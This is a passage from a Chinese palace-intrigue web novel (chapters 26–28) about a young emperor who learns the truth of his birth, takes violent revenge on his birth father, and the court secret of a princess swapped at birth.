明绰跟上了他的思路:“你……在想这个啊?”
萧盈点了点头:“嗯。”
明绰哑然失笑,好一会儿没说话,静静地和他并肩而行。她虽没见过典农中郎将的上书,但只要一想那些去瓦官寺出家的权贵们是如何生活的,就知道萧盈所言非虚。她也知道,就算典农中郎将上了书也没用。尊佛的权贵太多了,包括谢郯自己。母后没事不会去动那帮秃驴,这实在是一件吃力不讨好的事。
“皇兄。”明绰突然叫他,萧盈转过脸看着她,两人都停住了脚步。
明绰朝着他笑了笑:“你以后一定会是一个明君。”
她不知道方千绪当年是怎么挑的,也许根本没挑,天时地利人和,能找来的也就这么一个男婴。但她突然觉得这一切都已经不重要了。
萧盈好一会儿没说话,半晌,笑了笑:“只怕朕要学齐襄公,做不成这明君。”
明绰被他说得一愣。齐襄公的妹妹文姜与亲兄通奸,被丈夫鲁桓公发现。鲁桓公深责于文姜,被齐襄公在一怒之下杀害,造成齐鲁两国交恶,最后齐襄公自己也死于叛乱。萧盈以齐襄公自比,便是将她比作文姜了。萧盈对她的情意不同,她当然也有察觉,但这还是萧盈第一次说这样的话,偏偏挑了个史上出了名的红颜祸水来比。明绰气得想打他,咬着下唇,一时竟然想不出反驳的话。若是提出她与萧盈并非亲兄妹,就有承认私情之嫌。但真要她横眉竖眼,义正言辞地驳了这私情,她心里也不愿意。她左右为难,萧盈还紧紧盯着她看,见她不说话,便明白了什么似的,唇边露出了一个几不可见的微笑。
明绰真恼了,脱口而出:“怕的是你还不如他,没本事杀鲁桓公!”
她说完才发觉更不对,这不是把乌兰徵也说进来了吗?大燕的国书还没回来,婚事还没定下,她倒先急着拿乌兰徵的骁勇善战来说嘴了。这话听着又像是她迫切想嫁给乌兰徵,又像是她鼓动萧盈去暗杀乌兰徵,简直比文姜祸水百倍。萧盈还是看着她,没说话。明绰自己脸红得发烫,恨不得把舌头都咽下去,转头就想逃。
萧盈突然伸出手拉住了她的手腕。明绰被他用力一拽,一下子失去平衡,整个人撞进了萧盈怀里。她还想挣扎,但是萧盈的手轻轻搭到了她的后颈上,明绰觉得全身都酥了一下似的,不动了。
萧盈抱过她很多次。以前年龄小,又是当成亲兄妹相处,这些都不算什么。他不肯脱血衣,高烧到像癔症一般的时候,明绰也是直接爬到他床上,紧紧地把他抱在怀里安慰。可唯独这次不一样,萧盈甚至抱得不怎么紧,却让她比任何时候都动弹不得。
“朕比齐襄公强,”萧盈在她耳边说,“从一开始就不会让你嫁去鲁国。”
“是大燕。”明绰轻声纠正他,好像怕他弄错这个重要的事情。萧盈在她耳边笑了,温热的鼻息拂在她耳畔,让她觉得半边身子都麻掉了,不自觉地伸出手,环住了萧盈的腰。然后又想起来什么,在萧盈怀里东张西望的。
“看什么?”
明绰探出来一双眼睛:“桓湛呢?”
萧盈不答,只是把手搭到她后脑,不许她多动。可是明绰不知道又想起什么,突然“嗤”一声笑了。萧盈终于把人放开,皱着眉头看她。
明绰的脸还是红红的,眼睛晶亮,突然说:“你从前还说,要学孝康皇帝。”
萧盈的眉头皱得更紧,他已经不记得自己说过这个话了。明绰后退了一步,两只手仍让他牵着,抬起来,让他好好看看自己一身男装。萧盈终于反应过来,脸上露出哭笑不得的表情,都懒得理睬这话。
“怎么总挑些昏君学。”明绰皱皱鼻子,一副恨铁不成钢的口气,“学学秦皇汉武不好吗?”
她这皇兄好像没什么志气。
萧盈点点头,很敷衍的语气:“学学学。”
他牵住了明绰的手,继续往前走。明绰走了两步,突然又道:“尤其要学学汉武。”
萧盈没听出来她语气微妙的变化,于是明绰又道:“窦太后也是有善终的。”
萧盈脚下顿了顿,转头看了她一眼。昔年窦太后不喜欢汉武这个孙子,想让自己的儿子梁王登基,也曾动过杀心。汉武夺权之后,因孝道所困,确实给了她一个善终。
但明绰似乎忘记了,窦太后毕竟是祖母,且眼盲多病,建元六年便撒手人寰。谢太后却已擅权十五年,身子骨还比他好,他们俩说不好谁活得过谁。
可是明绰这样看着他,萧盈就什么也说不出来了。
明绰也不再是开玩笑的口吻了:“若我要你不计较母后做过的一切,是不是太强人所难了?”
萧盈面色如常,继续拉着她的手往前走,只道:“要你一心为朕才是‘强人所难’。已得真心如此,朕不会强求。”
明绰的眼睛顿时一亮,脚下踩了云似的,轻飘飘地跟在他身边。
“其实母后心里对太父也很不满了,只是终究碍于他是父亲……”明绰小心翼翼地开口,“有些事情上,皇兄也可以和母后一条心嘛……”
“比如?”萧盈笑着看她,“嫁鲁桓公这样的事?”
明绰装模作样地摸了摸鼻子。她确实是这么想的,但又觉得私心太重了有点儿不好意思:“还有很多别的事情嘛……”
萧盈还是那句话:“比如?”
这下明绰是真的“比如”不出来了。谢家父女之间还是共同的利益大过了矛盾,如果非要说有什么解不开的结,那就是谢郯一心支持正统,不喜欢女子掌权。那就又绕回到,太尉支持天子亲政,太后一心要天子的命了。
明绰想起宋夫人跟她说过的最后几句话。她认为太尉“独断却不残忍”,萧盈尚可以一争,太后才是绝对的狠辣,没有任何挽回的余地。她当时甘心跟着城门校尉走,应该是不想让自己成为萧盈和谢郯之间的裂痕。只是宫外等着她的只有这个丈夫,她看不到一点希望,才会爬上城楼。那个时候她并没有看见萧盈正狂奔而来,死在萧盈面前,激得萧盈拿出鱼死网破的姿态来跟太尉对抗,恐怕绝不是她的本意。
如今她还在这里劝萧盈跟太后和解,宋夫人泉下有知,怕是
化成鬼都要来找她算账。
平心而论,明绰心里有一个角落其实是同意宋夫人的。谢郯并不残忍。他换掉了含清宫的人来警告天子,但原来的人也都没有怎么样。若是换成了谢拂霜,任之他们绝没有活的可能。谢郯也许是年纪大大了,也许是因为他迂腐,想做君子,什么原因都好吧。都说“妇人之仁”,明绰反而觉得,今日这样的局面,都是因为谢郯的“仁”。若换作谢拂霜,大局早就定了。
可这样的母亲,其实也让她无法接受。
明绰越想越觉得不舒服,方才的拥抱和轻松仿佛一个偷来的梦,并不真实。她轻轻地挣开了萧盈握住她的手,萧盈察觉到不对,转头看着她:“怎么了?”
明绰勉强地笑笑:“没什么,只是在想……”
她顿了顿,也不知道能如何说,只好换了个话题:“你是什么时候知道姊姊其实是你阿娘的?”
“不记得了,很小的时候吧。”萧盈也不再瞒她,“小时候生病,她会抱着我唱歌,叫我燕奴……”
他的语气变得很柔软,连称呼也一并变了,好像他不再是天子,只是她的儿子。
明绰:“燕奴?”
萧盈点点头:“她以为我不会记得。有一次生病,我假装说胡话,问她为什么叫燕奴。她说我出生的时候,檐下正好有一窝新燕……”
明绰“嗯”了一声,明白了。春来回暖,才有燕子筑巢。可她的生辰——也是名义上萧盈的生辰,是在深秋时节。
萧盈停了下来,他们不知不觉已经走到了东长巷。明绰跟着他抬起头,看见巷尾那户人家,檐下燕巢竟然犹在。可是雨打风吹去,燕巢也早已只剩残枝几根。不知道明年春来,还会不会有燕子回来了。
“可是那时候,朕想做太后的儿子。”萧盈看着那燕巢,声音平静,“她再也没有叫过朕燕奴。”
第26章
程大武跌跌撞撞地推开房门,被自家门槛绊了一跤。酒劲涌上来,让他整个人晕乎乎的,在地上挣扎了半天都没起得来。程大武张嘴就喊婆娘,喊了半天也无人应,他这才想起来,那婆娘居然叫了娘家兄弟去堂上告他,如今已带着孩子回去了。
程大武趴在地上,痛快地骂了两句脏的,连带着小舅子、丈母娘一起,骂痛快了,才挣扎着从地上爬起来。
他今天让京兆尹打了板子,从背上到大腿无一处不疼,原说喝酒能少疼些,如今酒劲发上来,伤处胀痛得反而更厉害,火烧似的,肚内又饿,真是难过得要命。程大武“哎哟哎哟”地叫着,摸着黑往床头去。他不敢点灯,建康为防火灾,禁夜燃灯。这里离太尉府又近,巡逻得更严些,若是官吏从外头看见了火,还得再拖去打板子。
他刚要躺下,只听“哧啦”一声。有人坐在房中,擦亮火折子,点起了灯。
程大武吓得叫了一声娘,脚下一滑,跌了一跤。疑心是自己看错了,使劲揉了揉眼睛。那人隐在暗处,坐得动也不动,他叫了一声,那影子也不回,程大武便壮起胆子,往前凑了凑。一张极俊美的脸从黑暗中浮出,竟是个活人,眼睛一瞬不瞬地,正盯着他看。
“娘诶!”程大武骇得不轻,“什么人!”
“我问,你答。”那人开了口,说得很简单,“不要有多余的话——你把儿子卖给福光寺的和尚,是哪一年?”
“你,你到底是谁?闯进我家作甚!”
“是正和七年十月,对不对?”那人问他,“你儿子当时多大?”
程大武没答,头上却已经冒了汗:“与你何干?”
一片静默。然后那人站了起来,脱离了灯能照到的范畴。程大武茫然地盯着烛后浓得化不开的黑暗,听声音好像是他去了灶头,不知道拿了什么东西。片刻之后,他回来了。程大武什么都没看清,只觉得腿上狠狠挨了一记,像是铁的烧火棍打了下来。他发出一声惨叫,在地上滚了两下。那人却再不打了,又坐了回去,一张脸重新从黑暗中透了出来。
“我儿子是正和六年春分的时候生的!”程大武老实了,“当时一岁半了!”
那人放下烧火棍:“卖了多少?”
程大武呜呜咽咽的:“三……三千钱。”
那人闻言低低地笑了一声,好像觉得这价钱低到可笑。程大武马上替自己辩驳起来:“家中穷得锅都揭不开了!三千钱能买十石米,还少一张嘴,这也都是没办法!”
“所以宋氏为了赎回孩子,甘愿去福光寺自卖为奴?”
“什么赎孩子!”程大武啐了一口,“孩子根本就不在福光寺了,我看就是图那和尚手里有几个铜钿,哼……”
那人打断他:“孩子为何不在福光寺?”
“我怎么知道!”程大武龇牙咧嘴地站起来,捂着腿上被打疼的地方,一瘸一拐地往后退,“那和尚不是个好东西,见我婆娘有几分姿色,百般调戏作弄,就是不肯告诉她把孩子转手卖去哪里了……那婆娘也是贱!两人不知道背着我做了多少龌龊事,嘿,老子却叫他们当个龟儿——”
他话没说完,见那人一动,马上闭了嘴,直往后缩。
那人继续问:“那她又是怎么入的宫?”
程大武嘟嘟囔囔的,说不清楚,只斜着眼睛往灯下看,觉得那张脸越看越熟悉。
今日在堂上的时候,京兆尹身后设了一道屏风,没说两句话就悄摸地回头觑一眼,那神态,一看就是身后的官比他大多了。程大武跪在地上的时候从屏风的缝里偷看了两眼,那侧脸好像是跟这黑暗中的人有几分相似。
他背上猛地发了一层汗,赶紧跪了下来,“咚咚”给陌生人磕了两个头:“大人饶命!小的再不敢胡说了!”
那人的声音冷冷的:“说。”
程大武只好招来:“那婆娘在福光寺伺候了一阵子,有一日突然回来同小的说,太尉府那狎客遭祸了,福光寺那和尚不知为什么也被牵扯其中,她就猜,孩子肯定是和那狎客有关系,八成是被卖进太尉府了。那和尚逃跑以后,她就想法子托了太尉府的婆子,混进去烧饭……然后,然后……”
“然后什么?”
“她打听了一年多才听到一句闲话,太后生产那天,太尉府的马夫送那狎客抱了一个孩子进宫。那马夫被她灌多了酒,偷偷告诉她,太后其实只生了公主一个……”程大武说到这里连连磕头,“都是那婆娘想儿子想得失心疯了胡说八道的,小的不敢!小的不敢!”
那人还是沉默,任他磕头,半晌才问:“这是什么时候的事情?”
“景平二年……快要三年的时候。”程大武哆哆嗦嗦,“小的不知道她怎么进的宫,她突然有一日就不见了……”
也就是说,在孩子被卖掉整整两年以后,她还在找。他一直以为,乳母是在谢拂霜怀有身孕的时候就找好的。可是景平二年,连明绰都已经两岁多了,宫里不会还要找乳母,而她那时也多半不会还有奶水了。
一个民女,到底要有多大的勇气和决心,才想到办法跨过那重重的宫墙来到他身边?
萧盈低下头,一行泪猝不及防地坠了下来,在黑暗里灼穿了十几年的光阴。
“你去接她了吗?”萧盈又问,“那天……”
“去了!”程大武连忙答道,“可是小的在宫门外面等了一天也不见人
……小的以为是来戏耍人的!她那么多年都不露面,小的以为她早就死了……”
“那你知道她还活着,高兴吗?”
程大武抬起头,茫然地看着他:“自然是……高兴。”
“她回来发现你已另娶,你想好怎么办了吗?”
程大武舔了舔舌头,脑子转得飞快,突然拍拍胸脯道:“那当然她才是原配夫人!她若愿意,把那小的留着做个洗脚婢,她若不高兴,我两棒子就把那臭婆娘打走了!”
萧盈笑了一声,程大武也跟着笑,涎着脸往上凑了凑。
“大人,那保太夫人的封赏……”
萧盈垂头看他一眼:“想要?”
“夫妻一场啊!”程大武长叹一声,“她泉下有知,想必也舍不得见小的日子如此难过……”
“保太夫人的赏赐算什么?”萧盈说得慢条斯理,唇边的笑意渐深,“你可是当今天子的生父,何不进宫去,一世荣华富贵不全都有了?”
“照啊!”程大武一拍大腿,“我本就是这么想的!大人真是明理!”
他说得高兴,方才的恐惧和戒心都烟消云散,干脆和萧盈隔灯对坐,一边说还一边伸手拍萧盈的肩。多拍了两下,又突然察觉到什么,歪着头,凑着灯看萧盈的长相。
“大人长得……”程大武嘿嘿一声,“长得……”
萧盈还是笑:“像你?”
程大武突然愣住了。是像他,尤其是那笑。一双眼睛在昏暗的光下只剩黑,脸却苍白得不似活人,好像奈何桥下不肯往生的魂,从水中幽幽地向他露出笑容。程大武背上突然“唰”地出了一层冷汗,他想站起来走,受伤的腰腿却不听使唤,只能僵在那里,看着面前的人重新拾起了烧火棍。
“你……你……”程大武从椅子上翻下来,“啊!”
烧火棍精准地打在了他的膝盖上,只听“喀拉”一声,他痛得青筋绽出,发出凄厉的痛号。
“她闺名叫什么?”萧盈在他的痛呼声里平静地问了最后一个问题。
他从不知道。“姊姊”不过是小孩子亲昵的叫法,很多人都可以是“姊姊”。一直到她纵身一跃,她都从来没有听到他叫过一声“娘”。“夫人”也不是正式的封号,不过是因为她已嫁了人,所有人便都这样称呼。她注定没有名字,要面目模糊地坠落在司马门前看不到头的那条长长的路里。
“她叫玉桥……”他的手抓住了萧盈的脚腕,像条虫一样,在他脚下匍匐着。“饶了我!求求你!我是你的……”
萧盈低下头,漠然地看着他。他犯的罪行多么微末啊,杖刑已经是大雍律能给出的最严厉的刑罚。连皇帝下旨也没个像样的由头,徒引人注目。他本想让桓湛来,无声无息的,也给他个痛快。可是偏偏明绰今日是一个人出的宫,他只好让桓湛送她回去。
也好。萧盈抬起脚,想挣开他的手。但地上的人死死抱住,萧盈顺势踢了一脚,把人踢翻过去。程大武膝盖已经被打折,还有新鲜的杖疮,一时倒在地上,动弹不得,只看到那人手里举了灯,走了出去。门被掩上,紧紧地扣住了。
一切都重新归于寂静。
明绰百无聊赖地撑着下巴,不知道第几次拒绝了桓宜华:“不用了,多谢桓姐姐。”
桓宜华神色悻悻的,把一晚热腾腾的汤饼又端了回来。陛下交代了,要桓湛把东乡公主送回宫,可是公主又非要等陛下一起回去。建康有宵禁,天一黑,街上黑灯瞎火的啥也没有。桓湛思来想去,只有袁府近,而且袁增袁煦都不在家,不会惊动朝中的大人物,妹妹桓宜华也能招待招待公主。
只是桓宜华虽然也曾进宫在女尚书那里进学,跟东乡公主却实在不熟。干巴巴地说了一会儿,就赶紧端出各色宵夜来,可惜东乡公主心事重重,什么都不想吃。桓湛则是早已溜之大吉,说是去找陛下了。
“长公主,”桓宜华搜肠刮肚地找了找话题,“今年万寿一过,长公主也该满十五岁了,及笄礼可挑了日子?”
明绰心不在焉地“嗯”了一声:“挑着呢。”
“陛下和长公主手足情深,想来还会给长公主再行加封。”
明绰连“嗯”都懒得再嗯,草草点了点头。大雍的公主本该在及笄才封号,但怀帝去得早,所以萧盈登基的时候就一并给她封号了。称号上已无再加封的余地,无非就是赏食邑、赏财物。从前的公主们在意这个,因为这意味着父皇的宠爱和在朝中的地位。但是对于明绰来说也没有什么意义,她已经是太后的掌上明珠了。
桓宜华顿了顿,只好继续找话:“乌兰国主想必也会送一根玉笄……”
明绰扭过头来,皮笑肉不笑地看了她一眼。桓宜华被她看得面上一红,感觉公主好像不是很喜欢听这话,赶紧噤声了。
房间外突然传来脚步声,有个少年人的声音停在了门外,彬彬有礼地唤:“阿嫂?”
桓宜华得了救星似的,忙应了一声:“怎么了二郎?”
“东长巷那边走水了……”
明绰一下子站起来:“什么!”
“阿嫂别慌。”外面没听出来,还以为是桓宜华。他的声音仍像个小孩子,腔调却十足像个大人,“我已命人把家里四面都看住,以防贼人趁乱。”
“好。”桓宜华也站了起来,面上并无慌乱的样子,“你去瞧瞧,我阿兄回来不曾?”
袁綦应了一声,转身走远了。桓宜华安抚地拍拍明绰的手,明绰本想马上跑出去找萧盈,但是看到她这样镇定自若,又想着桓湛方才就出门去找人了,也只好按捺下来等着。
桓宜华让婢女给长公主重新上了一壶茶,自己告了个罪,去安抚了婆母两句。不过片刻,袁綦又来了,说桓湛还没回来,但他想带几个人去帮忙灭火,来请示阿嫂。桓宜华只说了一句“小心”,便不拦他。随后便开了匣,取了自己的剑,打开了房门,指挥下人们点灯照明,把四处都看牢,以防宵小趁火打劫。
袁府严阵以待,但外面并未出多大的乱子。不过两刻功夫,桓湛便带着萧盈来了,袁綦也跟在身后,一起回了府。
桓宜华马上迎着陛下坐到堂上。明绰本想跟他说话,但是萧盈一副不怎么熟的样子,从袖底朝她做了个手势。明绰这才想起来,袁綦并不认识她。刚才桓湛送她过来的时候,也没有惊动,袁綦都不知道大嫂屋里有客人。明绰亦步亦趋地跟在萧盈身边,他大约是把她当成从宫里跟出来的小黄门,连看也未多看一眼。
当初校场操练,他也跟着兄长去了,跟萧盈、桓湛混得都熟悉,也不怵君威,站在那儿跟桓宜华说,火势根本不大,无非是离太尉府太近了,夜巡的人才这么紧张。他带人赶到的时候,火都已经灭完了,就烧了一户人家。
明绰没忍住开口:“哪一户?”
“巷尾那户。”袁綦回道。明绰马上转头看了萧盈一眼,但是萧盈镇定地喝着茶,好像他也不知道是什么情况。
明绰心里突然一坠。
桓宜华:“巷尾那家?那不是今日挨板子的泼皮家里吗?”
“就是他。”袁綦转向嫂子,“听邻居说,这泼皮挨了打,反倒还要去喝酒。过了宵禁才回来,还在家中点灯,想是醉得不轻……”
桓宜华没忍住“哎呀”一声。
袁綦耸了耸肩,把话说完:“这不就走了水,倒把自己活活烧死了。”
第27章
袁府的马车辘辘行过已经空无一人的长街,明绰歪着头靠在轿壁上,一直没有说话。
萧盈突然问她:“同桓夫人聊了什么?”
明绰“嗯?”一声,回过神来:“没有聊什么。”
说完,又觉得自己的态度有些过于冷淡,像是在对萧盈耍脾气,便又补了一句:“聊了及笄礼。”
萧盈点点头:“日子还未定下吧?”
“母后会定。”
萧盈轻轻歪着头,打量了她一会儿:“你不喜欢桓夫人?”
“没有啊。”明绰打起了一点精神,“只是原先没什么交情,但桓姐姐将门之女,我很是心折。”
桓宜华持着世家女子的礼同公主攀谈时很无聊,反倒是听说城中走水,持剑指挥下人守家的时候,才更像是明绰听说的那个会自己骑着马去找心上人的女子。
明绰撇撇嘴,小声道:“便宜了袁煦。”
萧盈勾了勾嘴角,对于明绰这个态度已经习以为常。
“袁增上书,邓霄的旧部已清理干净了,荆州军没出什么乱子。朕准备早日把袁煦召回来。”
明绰没看他,过了一会儿才道:“他会被母后调走就是因为对皇兄太忠心了。”
萧盈垂了眼,理了理自己的袖子,有些答非所问:“桓夫人如此年轻,岂有一直独守空房的道理?”
明绰便“哦”一声。她看起来兴趣缺缺,不太想跟萧盈议论。可是等萧盈自己都不打算再往下说的时候,她又突然道:“召回来如何?皇兄要安插他进执金吾卫么?”
萧盈意外地抬眼,看定她。
明绰:“谢维不比舅舅,跟袁家半点交情也没有。皇兄把袁煦安排进执金吾卫反而是消耗他,使不上力的——我知道皇兄指望着桓家。”她似是知道萧盈要说什么,提前打断了他,“且不说桓家是不是真的已经心甘情愿接受了袁煦,就算是,大将军也很难把手伸到执金吾卫去。桓湛此次抗命,谢维早晚会想个由头发落他。皇兄不如稍安勿躁,现在袁煦留在荆州,比回建康更能牵制住一些人。”
马车停下来,萧盈什么都没说,掀开轿帘露出了脸。自从之前的事情以后,宫门守将一个都不敢啰嗦,赶紧放行。萧盈重新坐回来,手指无意识地捻着袖子,不知道是在想明绰说的话,还是在想别的事情。到上阳宫的路很快就要走完,明绰还是沉默着,起身准备下马车。
萧盈突然抓住她的手:“溦溦……”
“我不会责怪皇兄狠心。”明绰低着头,不等他说便把语速提了起来,好像这些话要是不快点说完,她就再也没有勇气说了,“无论最后是你胜,还是母后胜,我都会伤心。可该做的事情,你也不会因为我就不去做。既已入局,东乡都明白。”
东长巷的那场火,明绰已经不知道自己应该作何感想。他是为了替宋夫人出一口气呢,还是有心灭口?可能他自己也说不清,明绰也不想去问。他原本便是这样的人,还是不得不学会狠毒,明绰发现自己已经不愿意再想了。
发现母后毒害王执瑈那天她尚且还有心躲起来痛哭,彼时的眼泪仍未干,王执瑈在龙盘山上身子都还没养康复,但她已经不一样了。
明绰抬起头,视线与萧盈相接,轻声道:“皇兄还是想办法尽快把执金吾卫的虎符要回来。”
萧盈握着她的手指微微一紧:“朕……”
他想承诺一句什么,可是又无法说得出口。明绰最后看了他一眼,笑了笑,把手从他掌心抽了出来。她不需要萧盈哄骗一般的承诺,谢拂霜绝对不会给他同样的仁慈。也正是如此,她还是希望最后胜的是萧盈。
明绰:“我只希望这一切都快点结束。”
在所有人都面目全非之前,在一切都还来得及挽回之前。无论结果如何,她都要拼尽全力保住败的那一个。
她轻快地从马车上跳了下来,男装轻便,她整个人也显得更舒展了几分,在月下几步便走得远了。萧盈若有所思地看着她的背影,不知在思量些什么。半晌,轻轻地掩上了轿帘。
“回含清宫。”
次日,太尉谒见。
谢郯来得非常早,自从陛下的陪读侍讲们散了以后,他已是许久没有这样赶个大早就来。这也是长沙王之乱以后他第一次见萧盈,上次天子摆驾太尉府,谢郯还病得人事不知。
一见他,萧盈便知当日含清宫“朝会”他来不了不是托词。谢郯满面灰败,深陷的眼窝却泛着病气的红,瘦得颧骨高高凸出来,连坐都坐不住,整个人是半躺在凭几上。见他进来,谢郯还动了动,微微表达了一个想要行礼的意愿,萧盈就赶紧上前一步摁住他的手:“太父别动!”
“老臣失礼。”
“太父身子还没好,有什么话要说,朕去太尉府就好了……”
谢郯摇了摇头:“老臣不敢。”
萧盈一时也无话,皱着眉头坐下来,给谢郯倒茶。
宋夫人身故那天,他是当真想下令杀了谢郯。可是一场大火烧过,他的愤懑似乎也被投进火里燃去大半。不知道从什么时候开始,他就在盼着谢郯死,可是谢郯一时半会儿又不肯死,如此在他面前苟延残喘,他却又在心中升起难以自控的痛苦。
同样是这个人,自小握着他的手教他写字,把他搂在怀里给他喂药,在朝不保夕里,一次次地给他把天撑了起来。
萧盈别开了眼睛,掩饰住眼角一点泛红,但没有逃过谢郯的眼睛。他想到当日那句“逊位于谢公”,一时五味杂陈。他今日心中怀着戒备而来,天子若涕泪满面,巧言令色,谢郯反而清楚他又在玩弄心术。可偏偏是这么一点无声的动容,一点不容作假的情真,像一把细锥,狠狠地扎进了冰面里。老太尉心里的怀疑和算计顿时“吱嘎”作响地裂出无数道缝隙,又重新填满了他一声声的“太父”。
“陛下,”谢郯垂了眼睛,“保太夫人之死,并非老臣所愿。”
萧盈没说话。事已至此,太尉自然可以说“非他所愿”,那只是一个小小的警告……可是在当时宋夫人看来,这就是生死攸关。太尉身居高位,今日风往东吹,明日风又往西吹,都随他心意。可是被风连根拔起的野草,却再也不能活过来了。
现在谢郯又进宫来,试探也好,修补也罢。萧盈若是愿意,大可跟他演个过场,面上冰释前嫌,君臣和睦,背后彼此相忌,各出手段。他们会继续这套你进我退的把戏,一遍一遍,直到谢郯大限之至。
萧盈沉默着,想起昨夜的明绰。她说她只希望这一切都尽快结束。
“太父早就知道宋氏是朕生母了吧?”
谢郯很无力的:“陛下——”
“当年送她进宫的就是太父,对不对?”
谢郯长久地凝视了他一会儿,好像透过他的眼睛看到了另一个人。那是很多年以前的事情了,那个女子被捆住手脚,深夜送进他的书房。手下说,这女子潜伏在太尉府,问了太多不该问的问题。
那女子低着头跪在他面前,全身都在抖,发髻草草地盘起,低着头,露出一段白腻的后颈。但是话讲得清楚明白,如何从福光寺的和尚追到太尉府,如何听来的闲话,如何灌醉了马夫,环环相扣,有条有理。
谢郯听完,便命人解开了她手脚的绳索。
“你还有奶水吗?”这是他问那女子的第一个问题。
宋玉桥涨红了脸,第一次抬起头看着他。谢郯的视线在她胸腹间打量,粗布衣服潦草地裹住,甚至看不出多少曲线。谢郯扬了扬眉毛,说了第二句话。
“我送你进宫,去给天子和公主做乳母,你可愿意?”
“为何?”
谢郯沉默片刻:“陛下前面两个乳母,皆死于非命。”
小皇帝送进宫的时候已断了奶,太后怕群臣起疑,还是给他配了一个乳母,和公主是分开来的。但小皇帝夜夜哭闹,上吐下泻,太医很快从乳母吃的食物里查出了毒——她不能直接对天子下手,就自己服微量的毒,再化成奶水给小皇帝喂下去。
当时正值宛南王叛乱,谢郯没有发作,一言不发地摆平了此事。天子换了一位从太尉府出去的乳母,她事事都向太尉禀报,将天子照顾得无微不至。
但不到一年,她又被抓到与上阳宫守卫通奸,被太后处以极刑。
“你不需要把什么事都告诉我,太后若是知道了你和太尉府的瓜葛,我也救不了你。若是知道了你的身份,你会死。但陛下要是出了什么事,你也得死。”谢郯顿了顿,露出了一个笑容,“怎么样?还敢去吗?”
宋玉桥抬头看了他一眼,然后她跪下去,磕了个头:“民女敢去。”
景平二年,宋玉桥入宫,很快取得了太后的信任,不像梁女史那样显眼,但不显山不露水,从来没有引起过谢拂霜的怀疑。她是劝服了太后,还是用了某种手段欺上瞒下,没有人知道,但那几年,谢郯没有发现女儿再对天子下手。燕康王叛乱之后,朝野内外噤若寒蝉,正是谢氏揽权最盛之时。太后忙于政事,竟然把公主也交给了宋玉桥一起照顾。到景平五年,长居深宫的陛下更是神奇地染上了宫外的时疫,顺理成章,迁宫别居。
“当日她自陈如何寻子老臣便知道,她心性智计不同凡人。”谢郯摇了摇头,唏嘘不已,“老臣虽有心护佑陛下,却不能日夜在宫中相守。能够有如此胆魄和决心的,也只有她。”
萧盈很迅速地在眼下抹了抹脸。
“老臣心里敬重保太夫人。”谢郯又说了一遍,“绝无心伤她。”
萧盈点了点头:“朕知道。”
他信。谢郯没想要她死,不过是想利用她来警告,试探和拿捏天子而已。
“朕还有一事想不明白。”萧盈整理了心绪,又道,“太后为何一心要谋害朕?”
谢郯噎了一下,目光闪烁,似是不想回答这个问题。
“朕一直以为,太后与朕疏远,是因为迁宫之后,朕不敬不孝,才惹了太后不欢喜……”
不是迁宫才导致了母子失和,而是母子本就不和,他才不得不迁宫,以避太后锋芒——可是这就没有道理了。如今他长大了,太后不肯放权才要杀他,倒也说得通。但他那时还小,谢拂霜无子,她只有抱着这个孩子才能够坐在太后的位置上,他们本该是一体的,太后为何容不下他?
谢郯被他问得低下了头,竟是满面羞惭:“老臣惭愧!”
“太父,”萧盈身子往前一倾,极具压迫地逼近谢郯,“今日你我不论君臣,太父就都说了吧!”
窗外突然刮起了大风,呼啸着,像一个巴掌,气势汹汹地拍到了窗上。谢郯突然浑身一颤,转头往门外看去。就快十月了,如今早起晚归,已觉衣裳薄。但还没有下雨,就还没有凉透人心。十五年前,也是十月,下过一场雨。谢拂霜站在雨里,叫了他一声。
“父亲。”
她通身素白,披头散发,裙裾上渗着斑斑血迹,一张脸比衣衫更白,好像所有的血色都转移到了裙裾上,被细雨洇成一朵朵绽开的花。
“拂霜!”谢郯疾行几步,在她倒下之前把人扶住,“你才刚生完……”
方千绪抱着那孩子,面无表情地看着父女两个。谢拂霜撑着谢郯的手想站起来,可她没有力气。她恨极了自己此刻竟然一点力气都没有,只能这样狼狈地倒在谢郯的怀中。房间里还有一张矮几,铺着一卷锦帛,玉玺扣在一旁,还沾着未干的朱红印泥。
“不……”谢拂霜踉跄了一下,几乎摔到了矮几前。她抓起那张诏书,把一张锦帛揉皱。父亲一笔好字,铁画银钩。
“盈儿是陛下给我腹中孩子取的名字。”谢拂霜抓着诏书,伏在地上,仰起脸看着父亲,咬牙切齿,“盈儿是我的女儿!登基的应该是她!”
没有人说话,甚至没有人愿意向谢皇后说明眼下的情形。这实在太显而易见,已经没有说出口的必要。谢拂霜看着他,殿中的烛光在她脸上洒下明明暗暗的影。谢郯像是被这一幕刺痛,突然闭上了眼睛。方千绪拍了拍怀中的襁褓,那孩子已经睡着了,谢郯却听到了另一个婴儿的哭声,远远地传过来,怎么也不肯停。她才来这人间短短半刻,就已有了这许多风雨如晦的委屈。
“天佑大雍,陛下留下一双儿女。”谢郯告诉女儿,不容置疑的口吻,“太子萧盈,克继大统,即皇帝位。公主明绰,封东乡汤沐邑。”
第28章
谢拂霜突然惊醒,脸上仍有泪痕。灵芝早已守在床边,见太后惊醒,连忙挑开床幔。
“太后?”灵芝有意把声音放得很轻。谢拂霜一向睡得不好,乍醒时尤恶聒噪。“可是又被梦魇住了?”
谢拂霜回过神来,低低地“哦”了一声:“没事。”
她又梦见了女儿出生那一日的情形。十五年来,她总是时不时地梦见那一天。有时是她找不到明绰了,哭着去求父亲,可是父亲总是冷着脸;有时是她好好地把明绰搂在怀中,襁褓一掀开却成了萧盈的脸。
可是昨夜她梦见,孩子一出生,先帝就回来了。
她还从来没梦见过先帝。他西征之前,两人也就做了半年夫妻,自此天人永隔,她都已经忘了先帝是什么模样,连梦里的人都是一张模糊的脸,一身染血的甲胄,靠近的时候带着阴曹地府的寒凉。萧盈不知道为什么也在她身边,已经是长大成人的样子,恭敬地叫了一声“父皇”。谢拂霜正当百口莫辩之际,先帝已低下头,从她怀中接过了刚出生的明绰,转身就走。她哭着追上去,一路跑,一路唤。问一直追到一个渡口,先帝才终于停了下来,怀中的女婴已经成了亭亭玉立的大姑娘,被先帝牵在手中,回过头来对她说:“母后,我要随父皇去长安了。”
谢拂霜想了想,转头问灵芝:“长公主呢?”
“还睡着呢。”
昨夜明绰换了男装出宫,过了宵禁才回来。回来的时候坐的还是袁府的马车,也不来跟谢拂霜说一声,就回去睡了。听见灵芝这话,谢拂霜有那么一瞬间心里来了火,想让她马上把明绰叫醒,来问她话。但是转念一想,又压了回去。
灵芝伺候谢拂霜起身,看看她的脸色,轻声道:“梦里做不得数,长公主好好的呢,太后不必烦忧。”
谢拂霜不愿承认:“没长公主什么事,就是梦见了先帝。”
